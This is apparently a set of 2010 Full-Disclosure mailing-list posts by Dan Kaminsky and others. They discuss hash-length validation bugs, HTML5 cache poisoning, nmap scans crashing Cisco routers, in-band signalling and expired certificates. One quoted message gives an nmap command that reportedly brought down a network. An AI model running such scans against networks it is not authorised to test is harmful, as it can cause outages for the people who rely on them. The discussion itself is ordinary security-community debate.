I really like the hash length declaration bugs, where the client can  \ntell the server how many bytes of a hash need to be validated.  (Yep,  \nyou just say "one byte is plenty")\n\nSNMPv3 and XML-DSIG both fell to this, catastrophically.\n\n\n\n\n\nOn May 1, 2010, at 2:23 PM, Georgi Guninski <guninski () guninski com>  \nwrote:\n\n
ok, we had a flame.\n\nwhat is the newest category of sekurity bugz that is considered  \nelite ?\n\nbasically, int. over., BO are generally considered elite yet barely  \nnew.\nXSS probably is not elite by 3l33t majority opinion.\n\ni was looking in the past and my heart was not beating fast ;-)\n\n-- \njoro\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/May/6", "subject": "Re: newest category of security bugs considered\telite ?", "index_author": "Dan Kaminsky (May 01)", "frm": "Dan Kaminsky ", "date": "Sat, 1 May 2010 21:02:50 -0400", "body_html": "\n
\n\n\n\n\nOn May 1, 2010, at 8:30 PM, Nick FitzGerald <nick () virus-l demon co uk>  \nwrote:\n\n
Dan Kaminsky wrote:\n\n
I really like the hash length declaration bugs, where the client can\ntell the server how many bytes of a hash need to be validated.  (Yep,\nyou just say "one byte is plenty")\n\nSNMPv3 and XML-DSIG both fell to this, catastrophically.\n
\n\nI thought Georgi asked for the newest class of elite vulns?\n\nDoes (at least) ten years old count as new?\n\n
Ooh, SMB's old Hollywood OS bug -- one character at a time attacks.  \nIndeed, this is very old.  It's actually an annoying pattern, that  \nthings we think are attack multipliers ('you have to simultaneously  \nattack MD5 and SHA1') turn out to just be adders (you can attack one  \nat a time).\n\nThis bug class is different, and as far as I know unseen from the 80's  \nand 90's. In this one, you tell the remote system, 'sure, I can match  \nyour stored hash -- but it's only one byte long.'. So you try an  \naverage of 128 passwords, and off you go.\n\nIt's basically a problem where the client is trusted to provide  \nexcessive metadata about server state. If you've got other examples in  \nthis family, it'd be cool to hear them.\n\n(The TLS reneg bug was super cool but client/server confusion of  \nidentical protocol messages has precedent, I'm sure.)\n\n\n\n
  http://www.microsoft.com/technet/security/bulletin/ms00-072.mspx\n\nAnd against Win9x count as elite?   8-)\n\nFWIW, MS00-072 was fairly widely exploited in the wild by at least the\nOpaserv (aka Opasoft) family of worms, though not until a couple (?)  \nof\nyears after the bulletin's release.\n\n\n\nRegards,\n\nNick FitzGerald\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jun/598", "subject": "Re: Chrome and Safari users open to stealth HTML5\tApplication Cache attack", "index_author": "Dan Kaminsky (Jun 28)", "frm": "Dan Kaminsky ", "date": "Mon, 28 Jun 2010 22:30:03 +0200", "body_html": "\n
In summary, any http hit on an insecure network is dangerous on all\nbrowsers.\n(FWIW, Chromium resolves this for me. When I type mail<enter> into the\nomnibar, it auto-completes to https://mail.google.com/)\n\n\n
Actually, I see this as a legitimate gap.  HTTP links don't cache-mix with\nHTTPS links, and cookies can have server-side integrity checking to prevent\nHTTP pollution (lets not talk about the secure tag for cookies), but if it\nis indeed the case that there is no way to have a HTTPS-exclusive\nApplication Cache, then that is a feature killing bug that's been\nlegitimately called out.\n\n--Dan\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jun/602", "subject": "Re: Chrome and Safari users open to stealth HTML5\tApplication Cache attack", "index_author": "Dan Kaminsky (Jun 28)", "frm": "Dan Kaminsky ", "date": "Tue, 29 Jun 2010 02:18:41 +0200", "body_html": "\n
On Tue, Jun 29, 2010 at 12:41 AM, Chris Evans <scarybeasts () gmail com> wrote:\n\n
On Mon, Jun 28, 2010 at 1:30 PM, Dan Kaminsky <dan () doxpara com> wrote:\n
\n\n
In summary, any http hit on an insecure network is dangerous on all\nbrowsers.\n(FWIW, Chromium resolves this for me. When I type mail<enter> into the\nomnibar, it auto-completes to https://mail.google.com/)\n\n
\n\nActually, I see this as a legitimate gap.  HTTP links don't cache-mix\n
with\n
HTTPS links, and cookies can have server-side integrity checking to\n
prevent\n
HTTP pollution (lets not talk about the secure tag for cookies), but if\n
it\n
is indeed the case that there is no way to have a HTTPS-exclusive\nApplication Cache, then that is a feature killing bug that's been\nlegitimately called out.\n
\n\nEh? Lava's attack poisons a plain HTTP resource. As per "regular"\ncaching, Application Cache is supposed to separate the effects of HTTP\nand HTTPS responses.\n\n
\n\n==\nOn unsecured networks, attackers could stealthily\ncreate malicious Application Caches in the browser of victims for even HTTPS\nsites.\nIt has always been possible to poison the browser cache and compromise the\nvictim's account for HTTP based sites.\nWith HTML5 Application Cache, it is possible to poison the cache of even\nHTTPS sites.\n==\n\nIs it agreed that if the above is true -- meaning, separation doesn't\nactually exist -- then there's a bug?\n\n\n\n\n\n
\n\n\nCheers\nChris\n\n
\n\n--Dan\n\n\n
\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/29", "subject": "Re: Should nmap cause a DoS on cisco routers?", "index_author": "Dan Kaminsky (Jul 01)", "frm": "Dan Kaminsky ", "date": "Thu, 1 Jul 2010 20:01:26 -0400", "body_html": "\n
Permanent DoS's are unacceptable even from intentionally malicious  \ntraffic, let alone a few nmap flags. They're unacceptable to us,  \nthey're unacceptable to Microsoft (see: MSRC bug bar), and even Cisco  \nPSIRT has shown up on thread desiring to clean things up.\n\nIt's funny you bring up SNMP. Do you remember what happened when that  \nprotocol got fuzzed by the PROTOS guys in 2002?  Every network device  \non the planet pretty much exploded. I will grant you that network  \nisolation is indeed best practice, but broken code is not something to  \napologize for or mitigate against.  It's something to apply real  \npressure against.  If we can't get pissed, how is that QA guy supposed  \nto block shipment?\n\n(That being said, you'll note 'it's code you just shouldn't run' is  \nwrong. First thing's first, the network has to function. We route  \npackets with the infrastructure we have, etc.  But products that can't  \nsurvive nmap are likely going to have real problems with actual  \nexploit tools, and RCE in routers is not something to risk, 'best  \npractice mitigations' or no.)\n\nOn Jul 1, 2010, at 7:16 PM, "Dobbins, Roland" <rdobbins () arbor net>  \nwrote:\n\n
\n\nOn Jul 1, 2010, at 11:12 PM, Florian Weimer wrote:\n\n
And it's certainly a bug worth fixing.\n
\n\nI doubt it's a 'bug' which can be 'fixed', just the same as sending  \nenough legitimate HTTP requests to a Web server to bring it to its  \nknees isn't a 'bug' which can be 'fixed', but rather a DoS which  \nmust be mitigated via a variety of mechanisms.  It would be quite  \nhelpful if the original poster would detail the models/types/ \nversions of the network devices in question, and possibly provide a  \nsample query packet.\n\nPart of the general issue here is the large disconnect between the  \ntraditional security research community and the networking  \ncommunity; with a few notable exceptions, there isn't a lot of  \nmutual discussion and understanding, and certainly no understanding  \nof network infrastructure device architectures, best current  \npractices (BCPs), and so forth.\n\nOne of the most fundamental BCPs is that one must make use of  \nvarious network infrastructure self-protection mechanisms to keep  \nundesirable traffic away from the control and management planes of  \nsaid network infrastructure.  Here's a .pdf presentation which  \ndiscusses network infrastructure self-protection:\n\n<http://files.me.com/roland.dobbins/prguob>\n\nFiring a bunch of SNMP queries at network infrastructure devices and  \ncausing network disruption as a result isn't anything new, it's a  \nwell-understood phenomenon with a well-understood - in the network  \noperational community, at least - remedy via making use of the  \nappropriate self-protection mechanisms built into most modern  \nnetwork infrastructure devices.\n\n--- \n--------------------------------------------------------------------\nRoland Dobbins <rdobbins () arbor net> // <http://www.arbornetworks.com>\n\n   Injustice is relatively easy to bear; what stings is justice.\n\n                       -- H.L. Mencken\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/33", "subject": "Re: Should nmap cause a DoS on cisco routers?", "index_author": "Dan Kaminsky (Jul 01)", "frm": "Dan Kaminsky ", "date": "Thu, 1 Jul 2010 21:54:00 -0400", "body_html": "\n
Agreed completely on don't panic.\n\n\n\nOn Jul 1, 2010, at 9:30 PM, "Dobbins, Roland" <rdobbins () arbor net>  \nwrote:\n\n
\n\nOn Jul 2, 2010, at 8:13 AM, Lee wrote:\n\n
so presumably the scan came from a network that had full access to  \nthe routers.\n
\n\nOne question is whether or not the network in question *should* have  \nfull access to the management plane of the routers.\n\n;>\n\n
That's a bit harder to defend against.\n
\n\n\nSure, but also note that CoPP, HWRL, and the like can help,  \ndepending upon the platform.\n\nDon't get me wrong; this should be investigated further, and PSIRT  \nare on it.  My point is that folks don't need to go into panic mode,  \nbut should educate themselves as to how to defend their network  \ninfrastructure against attack and then deploy the relevant BCPs.\n\n--- \n--------------------------------------------------------------------\nRoland Dobbins <rdobbins () arbor net> // <http://www.arbornetworks.com>\n\n   Injustice is relatively easy to bear; what stings is justice.\n\n                       -- H.L. Mencken\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/55", "subject": "Re: Should nmap cause a DoS on cisco routers?", "index_author": "Dan Kaminsky (Jul 02)", "frm": "Dan Kaminsky ", "date": "Fri, 2 Jul 2010 20:07:32 +0200", "body_html": "\n
DR> And many of them could be mitigated via BCPs until such time as\nDR> fixed code could be deployed, as well.\nThere it is again, BCP. Is this the new "IDS" ?\n\n\n
Best Practices are what forms when Ops guys are given broken systems and\ntold to make them work.\n\nThis isn't meant in a derogatory way.  Do you like things working?  I sure\ndo.  If it takes rules like "don't run trivial networking scanners on the\nVoIP network" to keep the phones running, well, guess what.\n\nThere is a problem that this masks issues.  Attacker's aren't exactly known\nfor saying, "I'd own your network, but that would violate best practices, so\nI won't."  VoIP code (speaking from fairly direct experience) is\naggressively fragile, partially since it comes from a background where the\npresumption was that all traffic was trusted, and partially because the\nspecs are so hideously turgid.\n\nIn the short run, best practices are the only way to keep this stuff\nstable.  In the long run...what's that?  Just gotta get to the next\nquarter...\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/15", "subject": "Re: Should nmap cause a DoS on cisco routers?", "index_author": "Dan Kaminsky (Jul 01)", "frm": "Dan Kaminsky ", "date": "Thu, 1 Jul 2010 18:38:55 +0200", "body_html": "\n
And this is why BreakingPoint matters:  Because, oh man, network people let\nmanufacturers get away with shipping some really fragile code.\n\nIf a Windows desktop fell over because you looked at it funny -- and lets be\nhonest, nmap -sV is quite literally, looking at something funny -- it'd be\nan unambiguous remote DoS and we'd laugh at Microsoft if they said we should\ndeploy best practices to deal with it.  Now, if the networking equipment in\nquestion was a $75 Linksys router, sure.  There's a million ways to knock\nthose things over, and you get what you pay for.\n\nBut genuinely expensive gear?  Some of that budget needs to start going into\nresiliency.\n\nOn Thu, Jul 1, 2010 at 1:07 PM, Dobbins, Roland <rdobbins () arbor net> wrote:\n\n
\n\nOn Jul 1, 2010, at 5:23 PM, Thierry Zoller wrote:\n\n
If a device crashes when being scanned - it's a vulnerability.\n
\n\nIt sounds to me as if what happened was that he ended up driving the CPUs\nof the devices in question to 100%, and they stopped handling control-plane\ntraffic and fell over.  There are infrastructure self-protection best\ncurrent practices (BCPs) which can be deployed to defend against\ninfrastructure-targeted DoS.\n\nI've only seen this happen a few hundred times or so, so I could be wrong,\nof course.\n\n;>\n\nAs the original poster posited:\n\n
Is this a configuration error of the networking devices?\n
\n\nThe answer is, almost assuredly, "Yes."\n\n-----------------------------------------------------------------------\nRoland Dobbins <rdobbins () arbor net> // <http://www.arbornetworks.com>\n\n   Injustice is relatively easy to bear; what stings is justice.\n\n                       -- H.L. Mencken\n\n\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/25", "subject": "Re: Should nmap cause a DoS on cisco routers?", "index_author": "Dan Kaminsky (Jul 01)", "frm": "Dan Kaminsky ", "date": "Thu, 1 Jul 2010 22:42:00 +0200", "body_html": "\n
I would not object to posts on Full-Disclosure along the lines of "nmap -sV\ncrashes x device".  Unauthenticated remote permanent DoS's from standard\nnetwork scanning tools are certainly legitimate findings, and if this gives\nmore power to the QA guy in $NETWORKVENDOR, all the better.\n\nOn Thu, Jul 1, 2010 at 10:27 PM, Cor Rosielle <cor () outpost24 com> wrote:\n\n
Hi Thierry,\n\nI agree this is a vulnerability. I also want to clear up an apparent\nmisunderstanding: I don't tell not to scan with -sV, but to be careful\nbecause it is a dangerous switch that is known to sometimes crash\ndevices. When you are testing a target, you have to know your tools and\nthis is one of the characteristics of nmap.\n\nWhen testing, there are often some alternatives to choose from. And if\nthe objective is to find out if there are any vulnerabilities in a host,\nthen nmap -sV is one of the tools in the toolbox you can use. But if you\njust want to know the version of SNMP running, like Shang did, you just\nmight want to choose another tool. (I would have used something like:\nfor HOST in $(cat file.with.hosts); do snmpget -v 1 -c community-string\n$HOST sysDescr.0; done\nto find out if SNMP v1 was supported).\n\nRegards,\nCor\n\n\nOn Thu, 2010-07-01 at 11:28 +0200, Thierry Zoller wrote:\n
Hi Shang,\n\nIf  this  is  possible  you  have  found  a  vulnerability. Any way to\nremotely  cause  DoS  with  special  or  harmless  code  is  per  se a\nvulnerability.\n\nInstead  of  telling  somebody  to not scan with -sV you are better of\nreporting the vulnerability (ies)\n\nRegards,\nThierry\n\ncoc> During my training classes I always tell the -sV switch is\ncoc> dangerous and known to (sometimes) crash the target.\n\ncoc> Usually a better tool to test open udp ports is unicornscan, but\ncoc> that doesn't have a switch like -iL. Since you are testing your\ncoc> own devices and you know the community string, you could insider\ncoc> to loop through the list of IP's and snmpget a value from the MIB.\n\ncoc> Cor\n\ncoc> sent from a mobile device\n\n\ncoc> ----Origineel bericht----\ncoc> Van: Shang Tsung\ncoc> Verzonden:  30-06-2010 13:03:32\ncoc> Onderw.:  Should nmap cause a DoS on cisco routers?\n\ncoc> Hello,\n\ncoc> Some days ago, I had the task to discover the SNMP version that our\ncoc> servers and networking devices use. So I run nmap using the\n
following\n
coc> command:\n\ncoc> nmap -sU -sV -p 161-162 -iL target_file.txt\n\ncoc> This command was supposed to use UDP to probe ports 161 and 162,\n
which\n
coc> are used for SNMP and SNMP Trap respectively, and return the SNMP\ncoc> version.\n\ncoc> This "innocent" command caused most networking devices to crash and\ncoc> reboot, causing a Denial of Service attack and bringing down the\ncoc> network.\n\ncoc> Now my question is.. Should this had happened? Can nmap bring the\n
whole\n
coc> network down from one single machine?\n\ncoc> Is this a configuration error of the networking devices?\n\ncoc> This is scary...\n\ncoc> Shang Tsung\n\n\n\n\n\n\ncoc>\n\ncoc>\n
------------------------------------------------------------------------\n
coc> This list is sponsored by: Information Assurance Certification\n
Review Board\n
\n\ncoc> Prove to peers and potential employers without a doubt that you\ncoc> can actually do a proper penetration test. IACRB CPT and CEPT\ncoc> certs require a full practical examination in order to become\n
certified.\n
\n\ncoc> http://www.iacertification.org\ncoc>\n
------------------------------------------------------------------------\n
\n\n\ncoc> _______________________________________________\ncoc> Full-Disclosure - We believe in it.\ncoc> Charter: http://lists.grok.org.uk/full-disclosure-charter.html\ncoc> Hosted and sponsored by Secunia - http://secunia.com/\n\n\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/274", "subject": "Re: In-band signalling (was: Re: NuralStorm\tWebmail Multiple Vulnerabilities)", "index_author": "Dan Kaminsky (Jul 17)", "frm": "Dan Kaminsky ", "date": "Sat, 17 Jul 2010 15:31:11 -0700", "body_html": "\n
Out of band signaling can be made to work in small networks. In larger  \nnetworks and systems, the problem is -- what makes you think you have  \nsimply two planes?  We call them n-tier, not 2-tier after all.\n\nAnd nobody tunnels like telephony guys. If they ain't encapsulating,  \nthey ain't living.\n\nSo the game, as I see it, isn't to demand out of band operations. The  \ngame is to engineer systems that can strongly maintain separation  \nbetween contexts, in band. Theoretically, nested TLV protocols would  \ndo this, but I think we've had enough malloc-external-length-memcpy- \ninternal-length bugs to show, practically, it doesn't work.\n\nI'm having some good experiences with protocols that move around  \nBase64-encoded blocks. The key is to not encrypt the block, because  \nman, you're never finding the key during debug.  Even then, it's being  \nan interesting challenge to make standard tools unpack for debugging.   \nNo debug, no deploy.\n\n\nOn Jul 17, 2010, at 2:41 PM, Pavel Kankovsky <peak () argo troja mff cuni cz \n
wrote:\n
\n\n
On Thu, 15 Jul 2010 Valdis.Kletnieks () vt edu wrote:\n\n
(*) In-band signalling in telephone networks.\n
Feel free to elucidate a *feasible* way to have deployed out-of-band\nsignaling on the installed copper-pair base back then.\n
\n\nI won't pretent I am an expert on PSTN technology. Nevertheless\nfrequency-division multiplexing was already in use in 1950s so I do  \nnot\nfind the idea of literal out-of-band signalling (i.e. to make the  \nbandwith\nof trunk link channels slightly wider than what is allowed to come  \nfrom\nlocal loops and use that extra bandwidth for signalling) completely\nimplausible.\n\n
Also, compare the *actual* costs and losses due to phreakers snagging\nfree service due to in-band signaling to the eventual cost of  \nupgrading\nevery single central office to something that supported out-of-band.\n
\n\nThis smells like a red herring. They had to upgrade all of them to  \nsupport\ndirect distance dialing in the first place and there have been more\nupgrades not related to the eventual widespread deployment of SS7 in\n1990s.\n\n
Maybe those bell-heads weren't so dumb...\n
\n\nThat was not my point.\n\nIt might have paid off to accept the risk of abuse when hardware was\ncrude and expensive and when knowledge and gear needed to exploit the\nvulnerability was not easily available. Although I suspect it was more\na case of being lucky enough to get away with a lack of foresight than\na deliberate risk management decision.\n\nBut it is 2010 now. Everything I mentioned earlier has changed years  \nago.\nHardware is incredibly more powerful and much cheaper. Every kiddie  \nhas\ngot a PC and high-speed Internet connection. All knowledge is one  \nGoogle\nsearch away (okay, I am a little bit exaggerating here). Yet the old  \n2600\nHz whistle lives on in apostrophes and less-than signs because we  \nstill\nhave not learned to keep control data and user data segregated.\n\n-- \nPavel Kankovsky aka Peak                          / Jeremiah  \n9:21        \\\n"For death is come up into our MS Windows(tm)..." \\ 21st century  \nedition /\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/268", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 17)", "frm": "Dan Kaminsky ", "date": "Sat, 17 Jul 2010 09:23:18 -0700", "body_html": "\n
Junk,\n\n    X.509 always has another way it falls over in the field.   \nExpiration management is one of those ways. In theory, it's no big  \ndeal to swap out an expired cert for a valid one.\n\n    In reality, it's a time bomb, of the sort that usually doesn't  \nexist. Does the output of gcc have a 'run by' date?  Will your Cisco  \nrouter simply fail to move traffic six months from now?  Perhaps the  \nonly thing vaguely akin to certificate failure is hard drive failure  \n-- but imagine if drives *intentionally* committed suicide one day  \nafter warranty expire. People would go nuts!\n\nSomehow, this is all OK in X.509.\n\nDoing an emergency change to production machine is difficult in the  \nbest of times, when there's an actual outage and the clock is ticking.  \nIn this case, the outage is basically a policy outage. The box is up,  \nit can receive traffic, it's just the other guy needs to handle the  \nerror differently. So, they're asking for that.\n\nIf you're curious *why* it's such a pain in the ass to make unplanned  \nchanges, it's because of the following process, repeated over and over  \nagain:\n\n1) Someone needs to make a small change\n2) He decides to be a bad ass and just does it\n3) There's an outage because the guy screwed up\n4) So said guy can keep his job, the outage is blamed on policy that  \nclearly needs to be made stronger\n\nRepeat until outage rate drops to accepable levels.\n\n\n\nOn Jul 17, 2010, at 8:56 AM, Junk Meat <junkmeat () goshawn com> wrote:\n\n
What part of my thread suggests making unplanned changes in a live\nenvironment?  All that was said was the re-issuance of a certificate  \nand\nit's installation is a relatively simple process.  So you believe its\nalright to let a certificate remain expired for two weeks?\n\nDon't worry about educating me, there is nothing you have said that I\ndon't already know...  it doesn't even sound like you have anything\nintelligent to articulate besides petty criticism and contemptuous  \nremarks.\n\n\nOn 7/16/2010 5:16 PM, bk wrote:\n
So basically you advocate making unplanned changes whenever someone  \nfeels like it?\n\nThe only problem here is that they let the cert expire.  Being  \nresponsible about conducting maintenance, instead of having a knee- \njerk reaction, isn't to be faulted.\n\nIf you think you can write better secure file transfer software, no  \none is stopping you.  You'll make a fortune.  Just remember it has  \nto support more than half a dozen different protocols, support  \ndozens of nodes talking to the same storage backends, synchronize  \ndata across datacenters, support triggered actions at multiple  \nplaces in the transaction across multiple protocols, support  \nmultiple payload encryption protocols, allow single-sign-on  \nauthentication with third-party vendors, etc, etc, etc.  Oh yeah,  \nit all has to pass independent code-review by external auditors.   \nAt that rate, supporting instant application of new certs in a  \nmulti-tiered environment with bi-directional trust is a cake-walk  \nin comparison.\n\nSimple, right?\n\nI'm done educating you.  I know the software and I know what I'm  \ntalking about; clearly you know neither.\n\nOn Jul 16, 2010, at 12:49 PM, Junk Meat wrote:\n\n\n
chort or whatever your name is, some of us know what we're doing  \nand don't need to wait 2 weeks for a lousy ssl cert update much  \nless a daemon restart... give me a break.\n\nQuit defending the State of California, if they were so up on  \nsecurity they shouldn't have passed SB1386 or any other  \nlegislation for that matter.  Certificate authorities notify their  \ncustomers well in advance of expiring certs, multiple times in  \nfact, there's no excuse for that and then expecting your clients  \nto violate best practice afterward.  As far as change control and  \nsystem complexity, wise organizations keep things simple not  \noverly complex.\n\nShawn Dermenjian\n\nOn 7/16/2010 3:11 PM, bk wrote:\n\n
Maybe you should know what you're talking about before you  \nspeculate.  Most daemons require a restart when you change their  \ncert.  When you're talking about a service that has guaranteed up- \ntime, it can only be taken down for scheduled maintenance.   \nChanging production systems on a whim totally fails the 'A' in  \n'CIA' (and possibly the 'I' too).  Wise organizations implement  \nchange-control policies to keep their critical systems from being  \nrun-amok by ad-hoc changes.\n\nI'm familiar with the software State of California is using for a  \nlot of their secure file transfers and changing the certificate  \nis not as simple as you think (although the software is extremely  \nsecure).  There are several cross-certification trust  \nrelationships that need to be established for the software to  \ncontinue working after replacing certs.\n\nThe risk of connecting to a machine with an expired cert is that  \nthe cert may have been revoked.  That's why there are expiration  \ndates on certs.  Even if you're using a CRL, you cannot have the  \nCRL contain every cert that was revoked for all of eternity.  The  \nCRL only contains certs from when they were revoked until when  \nthey expire.  That keeps CRLs slightly manageable (although OCSP  \nis a much better solution).\n\nIf you're still connecting to the same IP and getting the same  \ncert (check the serial number and/or fingerprint), then at least  \nyou're sending data to where you always have in the past.  What  \nyou want to be weary of is if the serial number and/or  \nfingerprint change and the cert is still invalid (those will  \nprobably both change when the cert is re-issued, but then the  \ncert chain and not-before/not-after dates should be legit).\n\n--\nchort\n\nOn Jul 16, 2010, at 11:31 AM, Junk Meat wrote:\n\n\n\n
Your right Dan, encryption still does take place.  However, its  \nhard to\nunderstand why renewing\na certificate would take so long.  It should take no longer then  \n1/2\nhour to receive a renewed\nssl cert from a certificate authority in my opinion and maybe a  \nfew\nminutes to push it out depending\non the device that is publishing the cert.\n\nYou should tell them that your security policy prevents you from  \nmaking\na secure ftp transfer to a third\nparty with an expired certificate that contains non-public  \ninformation\nand see how fast they renew\ntheir certificate.\n\nBasically you are now taking responsibility for any breach in  \nthe slight\nchance that anything does\nhappen (man-in-the-middle, or otherwise) because you now know  \nabout the\nproblem.  Have them\nacknowledge the expired ssl certificate on their end and sign- \noff on any\npotential litigation that may\nresult if a breach does happen to occur.\n\n-Shawn Dermenjian\n\n\nOn 7/16/2010 1:10 PM, Daniel Sichel wrote:\n\n\n
OK, I am in the Golden state (California) where things are not  \nso golden\nat the moment.\nI deal with a state agency and use their "secure" ftp site.\nTheir certificate has expired and won't be renewed for a few  \nweeks, but\nthey want me to continue to ftp stuff\nUsing their expired cert.\n\nSo, as a relative n00b,  what are the risks?\n\nDoes it still encrypt even though, obviously, it can't be  \nverified?\n\nMy guess is that this still encrypts, but there is no  \nauthentication,\npossibly creating a man in the middle opportunity for some\nNefarious person with evil intent (nobody I know, or who is on  \nthis\nlist, of course).\n\n\nAnyway, any info would be welcome from the cognoscenti who  \nsubscribe\nhere.\n\nThanks,\nDan Sichel\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n\n\n\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n\n
\n\n\n\n
\n\n\n\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n
\n\n_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n\n
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/323", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 22)", "frm": "Dan Kaminsky ", "date": "Thu, 22 Jul 2010 21:05:56 -0400", "body_html": "\n
Operationally, it just shouldn't be that big a deal to schedule a\nmaintenance every few years. Like expiring domain registrations, the hardest\npart is simply to not lose track of it. The Accounting dept in an\norganization can sometimes help to not forget that stuff.\n\n\n
Shouldn't?  That's a nice word.\n\nWhat does the data say?\n\nSuppose I have five hundred web servers with five hundred expiration dates,\nstrewn out roughly uniformly over a three year period.  That means, I have\nabout one expiration every two days.\n\nNow, to run a change:\n\n1) A purchase must be made, of the thing to be changed\n2) A meeting must be scheduled, to organize the change (especially if, as\nyou suggest, an external organization tracks these things)\n3) An administrator must be tapped to implement the change in non-peak time\n4) The change must happen\n5) The change must be tested and validated\n6) The new expiration time must be confirmed for tracking purposes\n\nLets say this is 8 man hours.  That means this is 4,000 man hours of work.\nAssume the employee doing this work has an average cost to the company of\n$60/hr (remember, you need to roughly double the cost of a full time\nemployee, after you factor in benefits, payroll taxes, etc).\n\nThat's $240K/yr being spent to manage three year expirations, just on labor.\n\nAnd, of course, you see the result of this:  People don't go ahead and put\n500 different certs on 500 different machines.  Instead, you end up with an\nInternet having but a million SSL endpoints, only half of which even pretend\nto have a validating certificate.\n\nCosts can hide.  Consequences are another matter.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
\n"}, {"url": "https://seclists.org/fulldisclosure/2010/Jul/325", "subject": "Re: Expired certificate", "index_author": "Dan Kaminsky (Jul 22)", "frm": "Dan Kaminsky ", "date": "Thu, 22 Jul 2010 23:40:41 -0400", "body_html": "\n
On Thu, Jul 22, 2010 at 11:28 PM, Marsh Ray <marsh () extendedsubset com>wrote:\n\n
On 07/22/2010 08:05 PM, Dan Kaminsky wrote:\n\n
\n\nThat's $240K/yr being spent to manage three year expirations, just on\nlabor.\n\n
\n\nYep.\n\nBut as Dr. Laura would say, "you knew that before you married her".\n\nNobody said you had to go into that business, or that you were entitled to\nmake a profit on it.\n
\n\n\nNobody says they have to deploy secure endpoints, but the credit card\npeople, and even then only on a really restricted subset of sites.\n\nThere are fundamental sources of these failures that are not just "people\nare stupid".  Remember the tales of failed +$100M PKI deployments around the\nturn of the millenium?\n\nWhy do you think so much money got spent?\n\n\nWhat might be the unintended consequences be of having 500 "secure" sites\n
hosted by folks that can't manage to spend one day every three freakin'\nyears on maintenance?\n\nIt's one day every three years per server.  If you have a lot of servers,\n
it adds up.  And so, we back into the empirical reality -- people don't put\nSSL on a lot of servers.\n
_______________________________________________\nFull-Disclosure - We believe in it.\nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/
